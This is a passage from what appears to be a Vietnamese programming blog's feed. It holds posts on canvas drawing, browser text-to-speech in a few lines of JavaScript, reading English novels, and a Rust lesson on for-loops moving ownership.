<span class="nx">ctx</span><span class="p">.</span><span class="nx">fillRect</span><span class="p">(</span><span class="mf">195</span><span class="p">,</span><span class="w"> </span><span class="mf">0</span><span class="p">,</span><span class="w"> </span><span class="mf">10</span><span class="p">,</span><span class="w"> </span><span class="mf">300</span><span class="p">);</span><span class="w"></span>
<span class="nx">ctx</span><span class="p">.</span><span class="nx">fillRect</span><span class="p">(</span><span class="mf">0</span><span class="p">,</span><span class="w"> </span><span class="mf">95</span><span class="p">,</span><span class="w"> </span><span class="mf">300</span><span class="p">,</span><span class="w"> </span><span class="mf">10</span><span class="p">);</span><span class="w"></span>
<span class="nx">ctx</span><span class="p">.</span><span class="nx">fillRect</span><span class="p">(</span><span class="mf">0</span><span class="p">,</span><span class="w"> </span><span class="mf">195</span><span class="p">,</span><span class="w"> </span><span class="mf">300</span><span class="p">,</span><span class="w"> </span><span class="mf">10</span><span class="p">);</span><span class="w"></span>
<span class="nx">ctx</span><span class="p">.</span><span class="nx">fillText</span><span class="p">(</span><span class="s2">"Chung cake"</span><span class="p">,</span><span class="w"> </span><span class="mf">240</span><span class="p">,</span><span class="w"> </span><span class="mf">20</span><span class="p">)</span><span class="w"></span>
</code></pre></div>
<h2>Vẽ hình tùy ý</h2>
<p>Vẽ hình tự do bằng cách bắt đầu với <code>beginPath()</code>, di chuyển "bút", khi xong thì <code>fill()</code> để tô màu hình kín tạo bởi đường vẽ.</p>
<p>Dùng <code>arc</code> để vẽ hình tròn</p>
<p><code>arc(x, y, radius, startAngle, endAngle, counterclockwise)</code></p>
<p>Vẽ cờ nước Nhật: tỷ lệ h:w 3:2, đường kính mặt trời 3/5 chiều cao:</p>
<div class="highlight"><pre><span></span><code><span class="nx">canvas</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">"jp"</span><span class="p">);</span><span class="w"></span>
<span class="nx">ctx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">canvas</span><span class="p">.</span><span class="nx">getContext</span><span class="p">(</span><span class="s2">"2d"</span><span class="p">);</span><span class="w"></span>
<span class="nx">ctx</span><span class="p">.</span><span class="nx">fillStyle</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'#ffffff'</span><span class="p">;</span><span class="w"></span>
<span class="nx">ctx</span><span class="p">.</span><span class="nx">fillRect</span><span class="p">(</span><span class="mf">0</span><span class="p">,</span><span class="w"> </span><span class="mf">0</span><span class="p">,</span><span class="w"> </span><span class="mf">300</span><span class="p">,</span><span class="w"> </span><span class="mf">200</span><span class="p">);</span><span class="w"></span>
<span class="nx">ctx</span><span class="p">.</span><span class="nx">fillStyle</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'#ff2b2a'</span><span class="p">;</span><span class="w"></span>
<span class="nx">ctx</span><span class="p">.</span><span class="nx">beginPath</span><span class="p">();</span><span class="w"></span>
<span class="nx">ctx</span><span class="p">.</span><span class="nx">arc</span><span class="p">(</span><span class="mf">150</span><span class="p">,</span><span class="w"> </span><span class="mf">100</span><span class="p">,</span><span class="w"> </span><span class="mf">60</span><span class="p">,</span><span class="w"> </span><span class="mf">0</span><span class="p">,</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">3.14</span><span class="p">,</span><span class="w"> </span><span class="kc">false</span><span class="p">);</span><span class="w"></span>
<span class="nx">ctx</span><span class="p">.</span><span class="nx">fill</span><span class="p">();</span><span class="w"></span>
<span class="nx">ctx</span><span class="p">.</span><span class="nx">fillText</span><span class="p">(</span><span class="s2">"JP"</span><span class="p">,</span><span class="w"> </span><span class="mf">280</span><span class="p">,</span><span class="w"> </span><span class="mf">20</span><span class="p">)</span><span class="w"></span>
</code></pre></div>
<h2>Tham khảo</h2>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics</a></li>
</ul>
<h2>Kết luận</h2>
<p>Vẽ vuông vẽ tròn thật đơn giản, thế còn vẽ lá cờ đỏ sao vàng Việt Nam? xem như 1 bài tập về nhà.</p>
<p>Hết.</p>
<p>HVN at <a href="http://pymi.vn">http://pymi.vn</a> and <a href="https://www.familug.org">https://www.familug.org</a>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>Làm website đọc chữ phát ra loa với 10 dòng code (no lib, no install)2024-02-08T00:00:00+07:002024-02-08T00:00:00+07:00hvntag:familug.github.io,2024-02-08:/lam-website-doc-chu-phat-ra-loa-voi-10-dong-code-no-lib-no-install.html<p>Sau khi có thể <a href="https://familug.github.io/doc-chu-phat-ra-loa-voi-5-dong-code-no-lib-no-install.html">đọc text bằng 5 dòng code</a>, làm luôn trang web.</p>
<h2>Tạo site HTML</h2>
<p>Tạo 1 ô nhập text (textarea) và 1 nút bấm (button)</p>
<div class="highlight"><pre><span></span><code><span class="p"><</span><span class="nt">html</span><span class="p">></span>
<span class="p"><</span><span class="nt">body</span><span class="p">></span>
<span class="p"><</span><span class="nt">textarea</span> <span class="na">id</span><span class="o">=</span><span class="s">"text"</span> <span class="na">rows</span><span class="o">=</span><span class="s">"24"</span> <span class="na">cols</span><span class="o">=</span><span class="s">"100"</span><span class="p">></span>
In my younger and more vulnerable years my father gave me some advice …</code></pre></div><p>Sau khi có thể <a href="https://familug.github.io/doc-chu-phat-ra-loa-voi-5-dong-code-no-lib-no-install.html">đọc text bằng 5 dòng code</a>, làm luôn trang web.</p>
<h2>Tạo site HTML</h2>
<p>Tạo 1 ô nhập text (textarea) và 1 nút bấm (button)</p>
<div class="highlight"><pre><span></span><code><span class="p"><</span><span class="nt">html</span><span class="p">></span>
<span class="p"><</span><span class="nt">body</span><span class="p">></span>
<span class="p"><</span><span class="nt">textarea</span> <span class="na">id</span><span class="o">=</span><span class="s">"text"</span> <span class="na">rows</span><span class="o">=</span><span class="s">"24"</span> <span class="na">cols</span><span class="o">=</span><span class="s">"100"</span><span class="p">></span>
In my younger and more vulnerable years my father gave me some advice that I’ve been turning over in my mind ever since.
“Whenever you feel like criticizing anyone,” he told me, “just remember that all the people in this world haven’t had the advantages that you’ve
<span class="p"></</span><span class="nt">textarea</span><span class="p">></span>
<span class="p"><</span><span class="nt">br</span><span class="p">></span>
<span class="p"><</span><span class="nt">button</span> <span class="na">id</span><span class="o">=</span><span class="s">"speak"</span><span class="p">></span>Speak<span class="p"></</span><span class="nt">button</span><span class="p">></span>
<span class="p"><</span><span class="nt">body</span><span class="p">></span>
<span class="p"></</span><span class="nt">html</span><span class="p">></span>
</code></pre></div>
<h2>Đọc text khi click chuột</h2>
<div class="highlight"><pre><span></span><code><span class="nx">button</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">"speak"</span><span class="p">);</span><span class="w"></span>
<span class="kd">function</span><span class="w"> </span><span class="nx">speak</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">synth</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">window</span><span class="p">.</span><span class="nx">speechSynthesis</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="nx">text</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">"text"</span><span class="p">).</span><span class="nx">value</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="nx">utter</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="nx">SpeechSynthesisUtterance</span><span class="p">(</span><span class="nx">text</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="nx">voices</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">synth</span><span class="p">.</span><span class="nx">getVoices</span><span class="p">();</span><span class="w"></span>
<span class="w"> </span><span class="nx">utter</span><span class="p">.</span><span class="nx">rate</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0.9</span><span class="p">;</span><span class="w"> </span><span class="c1">// speed - tốc độ</span><span class="w"></span>
<span class="w"> </span><span class="nx">synth</span><span class="p">.</span><span class="nx">speak</span><span class="p">(</span><span class="nx">utter</span><span class="p">);</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
<span class="nx">button</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="s1">'click'</span><span class="p">,</span><span class="w"> </span><span class="nx">speak</span><span class="p">);</span><span class="w"></span>
</code></pre></div>
<p>Dòng <code>text = document.getElementById("text").value</code> lấy nội dung trong ô textarea để đọc.</p>
<h2>Kết quả</h2>
<p>Xem tại <a href="https://hvnsweeting.github.io/js-toys/tts.html">https://hvnsweeting.github.io/js-toys/tts.html</a></p>
<h2>Kết luận</h2>
<p>Giờ đã có thể dùng điện thoại để đọc text trên trang web dựa trên 5 dòng code ban đầu.</p>
<p>Hết.</p>
<p>HVN at <a href="http://pymi.vn">http://pymi.vn</a> and <a href="https://www.familug.org">https://www.familug.org</a>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>Đọc chữ phát ra loa với 5 dòng code (no lib, no install)2024-02-06T00:00:00+07:002024-02-06T00:00:00+07:00hvntag:familug.github.io,2024-02-06:/doc-chu-phat-ra-loa-voi-5-dong-code-no-lib-no-install.html<p>Nếu bạn từng có nhu cầu nghe thay vì đọc (tiếng Anh), 5 dòng code JavaScript ngay trên trình duyệt có thể làm điều đó!</p>
<h2>Bật Web developer console</h2>
<p>Bấm Ctrl-Shift-K <a href="https://firefox-source-docs.mozilla.org/devtools-user/web_console/index.html">https://firefox-source-docs.mozilla.org/devtools-user/web_console/index.html</a></p>
<p><img alt="web console" src="https://familug.github.io/images/tts.png"></p>
<div class="highlight"><pre><span></span><code><span class="nx">synth</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">window</span><span class="p">.</span><span class="nx">speechSynthesis</span><span class="w"></span>
<span class="nx">text</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sb">` In my younger and more vulnerable years …</span></code></pre></div><p>Nếu bạn từng có nhu cầu nghe thay vì đọc (tiếng Anh), 5 dòng code JavaScript ngay trên trình duyệt có thể làm điều đó!</p>
<h2>Bật Web developer console</h2>
<p>Bấm Ctrl-Shift-K <a href="https://firefox-source-docs.mozilla.org/devtools-user/web_console/index.html">https://firefox-source-docs.mozilla.org/devtools-user/web_console/index.html</a></p>
<p><img alt="web console" src="https://familug.github.io/images/tts.png"></p>
<div class="highlight"><pre><span></span><code><span class="nx">synth</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">window</span><span class="p">.</span><span class="nx">speechSynthesis</span><span class="w"></span>
<span class="nx">text</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sb">` In my younger and more vulnerable years my father gave me some advice that I’ve been turning over in my mind ever since.</span>
<span class="sb">“Whenever you feel like criticizing anyone,” he told me, “just remember that all the people in this world haven’t had the advantages that you’ve `</span><span class="w"></span>
<span class="nx">utter</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="nx">SpeechSynthesisUtterance</span><span class="p">(</span><span class="nx">text</span><span class="p">)</span><span class="w"></span>
<span class="nx">utter</span><span class="p">.</span><span class="nx">voice</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">synth</span><span class="p">.</span><span class="nx">getVoices</span><span class="p">()[</span><span class="o">-</span><span class="mf">1</span><span class="p">]</span><span class="w"> </span><span class="c1">// change to any number to change voice - giọng đọc, thay -1 bằng số khác để đổi giọng</span><span class="w"></span>
<span class="nx">utter</span><span class="p">.</span><span class="nx">rate</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0.9</span><span class="w"> </span><span class="c1">// speed - tốc độ</span><span class="w"></span>
<span class="nx">synth</span><span class="p">.</span><span class="nx">speak</span><span class="p">(</span><span class="nx">utter</span><span class="p">)</span><span class="w"></span>
</code></pre></div>
<p>Text from <a href="https://www.gutenberg.org/cache/epub/64317/pg64317-images.html">The Great Gatsby by F. Scott Fitzgerald</a></p>
<h2>Speech Synthesis</h2>
<blockquote>
<p>Speech synthesis (aka text-to-speech, or TTS) involves receiving synthesizing text contained within an app to speech, and playing it out of a device's speaker or audio output connection.
<a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Speech_API/Using_the_Web_Speech_API#speech_synthesis">https://developer.mozilla.org/en-US/docs/Web/API/Web_Speech_API/Using_the_Web_Speech_API#speech_synthesis</a></p>
</blockquote>
<p>Speech synthesis (còn gọi là text-to-speech hay TTS) là việc "biến" chữ viết thành dạng nói và phát ra loa.</p>
<h3>Utterance</h3>
<blockquote>
<p>The Web Speech API has a main controller interface for this — SpeechSynthesis — plus a number of closely-related interfaces for representing text to be synthesized (known as utterances), voices to be used for the utterance, etc. Again, most OSes have some kind of speech synthesis system, which will be used by the API for this task as available.</p>
</blockquote>
<p>Chữ sẽ được đọc được gọi là "utterance". Giọng đọc được lấy từ hệ thống speech synthesis có trên hệ thống, API của trình duyệt web chỉ tương tác với hệ thống này.</p>
<p>Vì vậy giọng đọc trên MacOS có thể khác Windows và sẽ khác Linux.</p>
<h2>Tham khảo</h2>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Speech_API">https://developer.mozilla.org/en-US/docs/Web/API/Web_Speech_API</a></li>
</ul>
<h2>Kết luận</h2>
<p>Đọc chữ với 5 dòng code trên trình duyệt, giờ có thể nhắm mắt... và nằm nghe (chứ đừng xuôi tay).</p>
<p>Hết.</p>
<p>HVN at <a href="http://pymi.vn">http://pymi.vn</a> and <a href="https://www.familug.org">https://www.familug.org</a>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>Đọc truyện Tiếng Anh2024-01-07T00:00:00+07:002024-01-07T00:00:00+07:00hvntag:familug.github.io,2024-01-07:/doc-truyen-tieng-anh.html<p>Ngày 2022-10-06, tức 1 năm, 2 tháng trước, blog đã đăng 1 bài viết với tiêu đề <a href="https://familug.github.io/doc-mot-quyen-sach-400-nghin-ton-bao-nhieu.html">Đọc một quyển sách 400 nghìn tốn bao nhiêu?</a> với kết luận "Khi mua một cuốn sách, bạn sẽ phải trả thêm một chi phí không nhỏ để đọc nó".
Nhưng đây không …</p><p>Ngày 2022-10-06, tức 1 năm, 2 tháng trước, blog đã đăng 1 bài viết với tiêu đề <a href="https://familug.github.io/doc-mot-quyen-sach-400-nghin-ton-bao-nhieu.html">Đọc một quyển sách 400 nghìn tốn bao nhiêu?</a> với kết luận "Khi mua một cuốn sách, bạn sẽ phải trả thêm một chi phí không nhỏ để đọc nó".
Nhưng đây không phải lý do để không đọc.</p>
<p>Sau bài viết ấy, tôi bắt đầu một nhiệm vụ gian truân bậc nhất trong đời mình: đọc hết quyển <a href="https://www.amazon.com/Anathem-Neal-Stephenson/dp/006147410X">Anathem by Neal Stephenson</a> dày 937 trang, bằng tiếng Anh, sau 4 tháng với mỗi ngày dành khoảng 1 tiếng đọc, nhiệm vụ hoàn thành.</p>
<p>Việc đọc xong quyển sách này mang lại sức mạnh ảo tưởng bản thân rất hữu ích: sẵn sàng đọc bất cứ quyển sách nào trên 500 trang sẽ không còn là đáng sợ nữa, VD:</p>
<ul>
<li>Moby Dick ~ 700 trang</li>
<li>Don Quixote ~ 1000 trang</li>
<li>War And Peace ~ 1200 trang
...</li>
</ul>
<p>Giống như nếu bạn đã chạy Marathon 42km rồi, thì chạy 20 km hay 30km hay 1 cái marathon khác không còn là điều khó khăn.</p>
<p>Nhưng mọi hành trình đều xuất phát từ những bước chân đầu tiên... với một quyết định cá nhân kỳ lạ là "chỉ đọc truyện bằng chính ngôn ngữ gốc, không đọc sách dịch" (với ngoại lệ tiếng Trung tiếng Nhật hay ... tiếng Phạn).</p>
<h3>Thất bại đầu tiên: Lord Of The Rings</h3>
<p>Giống như mọi người muốn "thành công", tôi làm theo người thành công khác.
Truyền thuyết mạng kể rằng Linus Torvards (tác giả của Linux/Git) là một người Phần Lan (Finnish) và không giỏi tiếng Anh. Ông ôm 1 quyển từ điển để đọc hết bộ Lord Of The Rings và từ đó thành thạo tiếng Anh như người bản địa.</p>
<p>Mua nguyên bộ <a href="https://tiki.vn/the-lord-of-the-rings-3-vol-p416410.html?spid=25537150">Lord Of The Rings 500k 3 quyển</a> không phải chuyện khó. Đọc hết 100 trang đầu mới khó.
Năm 2015, sau bao nỗ lực đến được trang 100, tôi bỏ cuộc và cất 3 quyển truyện bìa đẹp vào góc rồi không bao giờ mở ra.</p>
<p>Dù có thể đọc tài liệu tiếng Anh ngành IT hay báo chí không khó khăn gì, đọc truyện là việc hoàn toàn khác. Khó hơn nữa là:</p>
<ul>
<li>tiểu thuyết cổ điển (>100 năm) với rất nhiều từ lạ</li>
<li>truyện khoa học viễn tưởng như Lord Of The Rings, với nhiều từ khó/cổ, thậm chí có hẳn ngôn ngữ riêng phát minh cùng bộ truyện.</li>
</ul>
<p>Kết luận? copy y hệt người thành công thì không thành công mà chỉ thành gà.</p>
<h3>Thất bại thứ hai: hoàng tử bé</h3>
<p>Ti toe học được 3 tháng tiếng Pháp trên "Duolingo", boujour common ca va? mua được quyển "Le Petit Prince" mỏng dính, nhưng sau không ít cố gắng, đọc được 5 trang, rồi cũng bỏ cuộc.</p>
<p><img alt="Le petit prince" src="https://familug.github.io/images/le_petit_prince.jpg"></p>
<h3>Thành công đầu tiên - Gone girl 400 trang</h3>
<p>Vì một lý do kì lạ nào đó, tôi quyết định đọc cuốn truyện siêu hot thời 2015 này trên máy Kindle mới mua. Kindle đúng là 1 trợ thủ siêu đắc lực, chỉ với 1 ngón tay dí vào chữ là ra ngay từ điển. Sau vài tháng cũng lần đầu tiên đọc hết 1 quyển truyện tiếng Anh.</p>
<p>PS: trong thời gian này, dù cũng dùng Kindle, nhưng đã fail ngay sau trang đầu tiên của "Cloud Atlas" với tỉ lệ 80% từ mới trên mỗi câu. Và sau 30 trang đầu của "Ender's game".</p>
<h3>Những thành công tiếp theo</h3>
<p>Nhiều cuốn sách free tải từ trang <a href="https://standardebooks.org/">https://standardebooks.org/</a> - những sách đã hết hạn bản quyền, thậm chí ở Việt Nam cũng bán đầy ngoài hiệu sách với giá chung 50 nghìn:</p>
<ul>
<li>Strange Case of Dr. Jekyll and Mr. Hyde</li>
<li>Siddhartha by Hermann Hesse</li>
<li>The Invisible Man by H. G. Wells</li>
<li>The Adventures of Huckleberry Finn by Mark Twain</li>
<li>Heart of darkness by Joseph Conrad</li>
<li>Great Expectations by Charles Dickens</li>
</ul>
<p>Đa phần là tiểu thuyết cổ điển, khá khó đọc, mà đọc nhiều thì cũng dần quen.</p>
<p>Truyện dễ đọc nhất? Harry Potter and the Prisoner of Azkaban, thẳng tuột 3 ngày và khá bất ngờ khi chỉ phải mở từ điền 1-2 lần, nhưng rồi cũng không quá ngạc nhiên khi đây là truyện dành cho thanh thiếu niên.</p>
<h3>The Internet Speculative Fiction Database</h3>
<p>Đa phần sách đã đọc thuộc thể loại khoa học viễn tưởng (scifi), có nguyên 1 website để lên xem pick quyển nào đọc <a href="https://www.isfdb.org/cgi-bin/stats.cgi?12">https://www.isfdb.org/cgi-bin/stats.cgi?12</a> rồi lên tiki mua về.</p>
<h3>Xem phim đúng là tiết kiệm thời gian</h3>
<p>Một bộ film cùng lắm dài 3 tiếng, đọc 1 quyển sách với tốc độ 30 trang / giờ, đâu đó cũng phải 20 tiếng mới xong 1 quyển 500 trang.
Nhưng truyện để chỗ cho đầu óc được tưởng tượng, và đi vào chi tiết hơn rất nhiều so với phim.</p>
<h3>Đọc truyện cũng như là xem phim</h3>
<p>Đọc truyện mang lại giây phút thư giãn, đôi chút nghĩ suy,... chứ không có gì để TRÍ THỨC hơn xem phim.</p>
<p>Đọc sách học chắc là chuyện khác.</p>
<h3>Sách được đánh giá cao mà đọc không thấy thú vị?</h3>
<p>Hầu hết các truyện dài đều không hấp dẫn ngay từ đầu, đa phần dành thời gian để xây dựng thế giới, không gian, nên thường
mất 30% đầu để làm việc này. Đa số sẽ rất hay từ 70% trở đi khi mọi thứ đi dần đến kết truyện.
Hoặc cũng có những truyện, tác giả cố tình làm cho nó "chán", để biểu diễn sự dài và "chán" ở trong truyện (như chuyến hành trình dài ngày trong The Lord Of The Rings).</p>
<h3>Vài cuốn sách thú vị</h3>
<ul>
<li>Project Hail Mary by Andy Weir</li>
<li>The three-body problem by Cixin Liu (sách tàu dịch sang Eng)</li>
<li>The dark forest by Cixin Liu</li>
<li>Stranger in a Strange Land by Robert A. Heinlein</li>
<li>Dune by Frank Herbert (Author)</li>
</ul>
<p>Review tại <a href="http://hvnsweeting.github.io/pages/books/">http://hvnsweeting.github.io/pages/books/</a></p>
<h3>Kết luận</h3>
<p>Đọc truyện là để cho zui,</p>
<p>đọc xong mà được thêm gì càng vui.</p>
<p>Hết.</p>24 ngày học Rust - ngày 11 for loop borrow2023-12-11T00:00:00+07:002023-12-11T00:00:00+07:00hvntag:familug.github.io,2023-12-11:/24-ngay-hoc-rust-ngay-11-for-loop-borrow.html<h2>for sẽ move value</h2>
<p>Khi lặp qua từng phần tử của v với <code>for i in v</code>, v bị move ownership cho vòng for loop, nên ở lần lặp thứ 2 không còn v nữa, Rust compiler báo lỗi. Thấy thêm rằng khi người dùng viết <code>for i in v …</code></p><h2>for sẽ move value</h2>
<p>Khi lặp qua từng phần tử của v với <code>for i in v</code>, v bị move ownership cho vòng for loop, nên ở lần lặp thứ 2 không còn v nữa, Rust compiler báo lỗi. Thấy thêm rằng khi người dùng viết <code>for i in v</code> thì code thực sự được chạy là <code>for i in v.into_iter()</code></p>
<div class="highlight"><pre><span></span><code><span class="k">fn</span> <span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="n">v</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="fm">vec!</span><span class="p">[</span><span class="mi">10</span><span class="p">,</span><span class="mi">20</span><span class="p">,</span><span class="mi">30</span><span class="p">,</span><span class="mi">40</span><span class="p">];</span><span class="w"></span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="n">v</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="fm">println!</span><span class="p">(</span><span class="s">"{}"</span><span class="p">,</span><span class="w"> </span><span class="n">i</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="n">v</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="fm">println!</span><span class="p">(</span><span class="s">"{}"</span><span class="p">,</span><span class="w"> </span><span class="n">i</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>Output</p>
<div class="highlight"><pre><span></span><code><span class="n">error</span><span class="p">[</span><span class="n">E0382</span><span class="p">]</span>: <span class="nc">use</span><span class="w"> </span><span class="n">of</span><span class="w"> </span><span class="n">moved</span><span class="w"> </span><span class="n">value</span>: <span class="err">`</span><span class="n">v</span><span class="err">`</span><span class="w"></span>
<span class="w"> </span><span class="o">-</span>-> <span class="nc">src</span><span class="o">/</span><span class="n">main</span><span class="p">.</span><span class="n">rs</span>:<span class="mi">6</span>:<span class="mi">14</span><span class="w"></span>
<span class="w"> </span><span class="o">|</span><span class="w"></span>
<span class="mi">2</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="n">v</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="fm">vec!</span><span class="p">[</span><span class="mi">10</span><span class="p">,</span><span class="mi">20</span><span class="p">,</span><span class="mi">30</span><span class="p">,</span><span class="mi">40</span><span class="p">];</span><span class="w"></span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="k">move</span><span class="w"> </span><span class="n">occurs</span><span class="w"> </span><span class="n">because</span><span class="w"> </span><span class="err">`</span><span class="n">v</span><span class="err">`</span><span class="w"> </span><span class="n">has</span><span class="w"> </span><span class="k">type</span> <span class="err">`</span><span class="nb">Vec</span><span class="o"><</span><span class="kt">i32</span><span class="o">></span><span class="err">`</span><span class="p">,</span><span class="w"> </span><span class="n">which</span><span class="w"> </span><span class="n">does</span><span class="w"> </span><span class="n">not</span><span class="w"> </span><span class="n">implement</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="err">`</span><span class="nb">Copy</span><span class="err">`</span><span class="w"> </span><span class="k">trait</span><span class="w"></span>
<span class="mi">3</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="n">v</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="err">`</span><span class="n">v</span><span class="err">`</span><span class="w"> </span><span class="n">moved</span><span class="w"> </span><span class="n">due</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">this</span><span class="w"> </span><span class="n">implicit</span><span class="w"> </span><span class="n">call</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="err">`</span><span class="p">.</span><span class="n">into_iter</span><span class="p">()</span><span class="err">`</span><span class="w"></span>
<span class="o">..</span><span class="p">.</span><span class="w"></span>
<span class="mi">6</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="n">v</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">^</span><span class="w"> </span><span class="n">value</span><span class="w"> </span><span class="n">used</span><span class="w"> </span><span class="n">here</span><span class="w"> </span><span class="n">after</span><span class="w"> </span><span class="k">move</span><span class="w"></span>
<span class="w"> </span><span class="o">|</span><span class="w"></span>
<span class="n">note</span>: <span class="err">`</span><span class="n">into_iter</span><span class="err">`</span><span class="w"> </span><span class="n">takes</span><span class="w"> </span><span class="n">ownership</span><span class="w"> </span><span class="n">of</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">receiver</span><span class="w"> </span><span class="err">`</span><span class="bp">self</span><span class="err">`</span><span class="p">,</span><span class="w"> </span><span class="n">which</span><span class="w"> </span><span class="n">moves</span><span class="w"> </span><span class="err">`</span><span class="n">v</span><span class="err">`</span><span class="w"></span>
<span class="w"> </span><span class="o">-</span>-> <span class="o">/</span><span class="n">rustc</span><span class="o">/</span><span class="mi">84</span><span class="n">c898d65adf2f39a5a98507f1fe0ce10a2b8dbc</span><span class="o">/</span><span class="n">library</span><span class="o">/</span><span class="n">core</span><span class="o">/</span><span class="n">src</span><span class="o">/</span><span class="n">iter</span><span class="o">/</span><span class="n">traits</span><span class="o">/</span><span class="n">collect</span><span class="p">.</span><span class="n">rs</span>:<span class="mi">262</span>:<span class="mi">18</span><span class="w"></span>
<span class="n">help</span>: <span class="nc">consider</span><span class="w"> </span><span class="n">iterating</span><span class="w"> </span><span class="n">over</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="n">slice</span><span class="w"> </span><span class="n">of</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="err">`</span><span class="nb">Vec</span><span class="o"><</span><span class="kt">i32</span><span class="o">></span><span class="err">`</span><span class="o">'</span><span class="na">s</span><span class="w"> </span><span class="n">content</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">avoid</span><span class="w"> </span><span class="n">moving</span><span class="w"> </span><span class="n">into</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="err">`</span><span class="k">for</span><span class="err">`</span><span class="w"> </span><span class="k">loop</span><span class="w"></span>
<span class="w"> </span><span class="o">|</span><span class="w"></span>
<span class="mi">3</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="o">&</span><span class="n">v</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">+</span><span class="w"></span>
</code></pre></div>
<p>Fix: để có thể lặp qua v 2 lần, borrow v khi dùng với for:</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="n">v</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="fm">vec!</span><span class="p">[</span><span class="mi">10</span><span class="p">,</span><span class="mi">20</span><span class="p">,</span><span class="mi">30</span><span class="p">,</span><span class="mi">40</span><span class="p">];</span><span class="w"></span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">v2</span>: <span class="nb">Vec</span><span class="o"><</span><span class="kt">i32</span><span class="o">></span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="fm">vec!</span><span class="p">[];</span><span class="w"></span>
